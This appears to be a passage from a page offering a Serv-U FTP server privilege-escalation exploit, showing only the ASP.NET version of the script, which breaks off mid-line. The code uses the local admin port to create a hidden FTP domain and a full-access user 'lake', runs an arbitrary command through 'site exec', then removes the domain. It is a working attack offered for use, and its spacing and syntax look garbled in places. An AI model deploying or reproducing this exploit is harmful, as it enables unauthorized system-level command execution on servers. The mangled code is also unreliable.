. NET/Perl/PHP three versions of the Serv-U elevation source code program

1... NET version Serv-U Elevation of Privilege

<% @ Page Language = "VB" Debug = "true" %>
<% @ Import Namespace = "System. Net. Sockets" %>
<Script runat = "server">

'
'Love, Where are you?

Sub BTN_Start_Click (sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text

Dim LoginUser As String = "User" & Usr & vbcrlf
Dim LoginPass As String = "Pass" & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain = cctv | 0.0.0.0 | 43859 |-1 | 1 | 0" & vbcrlf & "-TZOEnable = 0" & vbcrlf & "TZOKey =" & vbcrlf
Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP = 0.0.0.0" & vbcrlf & "PortNo = 43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP = 0.0.0.0" & vbcrlf & "-PortNo = 43859" & vbcrlf & "-User = lake" & vbcrlf &" -Password = admin123 "& vbcrlf &_
"-HomeDir = c: \" & vbcrlf & "-LoginMesFile =" & vbcrlf & "-Disable = 0" & vbcrlf & "-RelPaths = 1" & vbcrlf &_
"-NeedSecure = 0" & vbcrlf & "-HideHidden = 0" & vbcrlf & "-AlwaysAllowLogin = 0" & vbcrlf & "-ChangePassword = 0" & vbcrlf &_
"-QuotaEnable = 0" & vbcrlf & "-MaxUsersLoginPerIP =-1" & vbcrlf & "-SpeedLimitUp = 0" & vbcrlf & "-SpeedLimitDown = 0" & vbcrlf &_
"-MaxNrUsers =-1" & vbcrlf & "-IdleTimeOut = 600" & vbcrlf & "-SessionTimeOut =-1" & vbcrlf & "-Expire = 0" & vbcrlf &"- ratioUp = 1 "& vbcrlf &_
"-RatioDown = 1" & vbcrlf & "-RatiosCredit = 0" & vbcrlf & "-QuotaCurrent = 0" & vbcrlf & "-QuotaMaximum = 0" & vbcrlf &_
"-Maintenance = System" & vbcrlf & "-PasswordType = Regular" & vbcrlf & "-Ratios = None" & vbcrlf & "Access = c :\| RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "site maintenance" & vbcrlf

'Dim client As New TcpClient
Dim tcpClient As New TcpClient ()
Try
TcpClient. Connect ("127.0.0.1", port)
Catch eee As Exception
Response. write (eee. ToString ())
Response. end
End Try
TcpClient. ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient. GetStream ()
Rec (networkStream)
Send (networkStream, LoginUser)
Rec (networkStream)
Send (networkStream, LoginPass)
Rec (networkStream)
Send (networkStream, MAINTENANCE)
Rec (networkStream)
Send (networkStream, DelDomain)
Rec (networkStream)
Send (networkStream, NewDomain)
Rec (networkStream)
Send (networkStream, NewUser)
Rec (networkStream)
Dim tcpClient2 As New TcpClient ()
Try
TcpClient2.Connect ("127.0.0.1", 43859)
Catch eee As Exception
Response. write (eee. ToString ())
Response. end
End Try
Tcpclient2.receive buffersize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream ()
Rec (networkStream2)
Send (networkStream2, "User lake" & vbcrlf)
Rec (networkStream2)
Send (networkStream2, "pass admin123" & vbcrlf)
Rec (networkStream2)
Send (networkStream2, "site exec" & Command & vbcrlf)
Rec (networkStream2)
TcpClient2.Close ()
Send (networkStream, DelDomain)
Rec (networkStream)
Send (networkStream, Quit)
Rec (networkStream)
& Nbs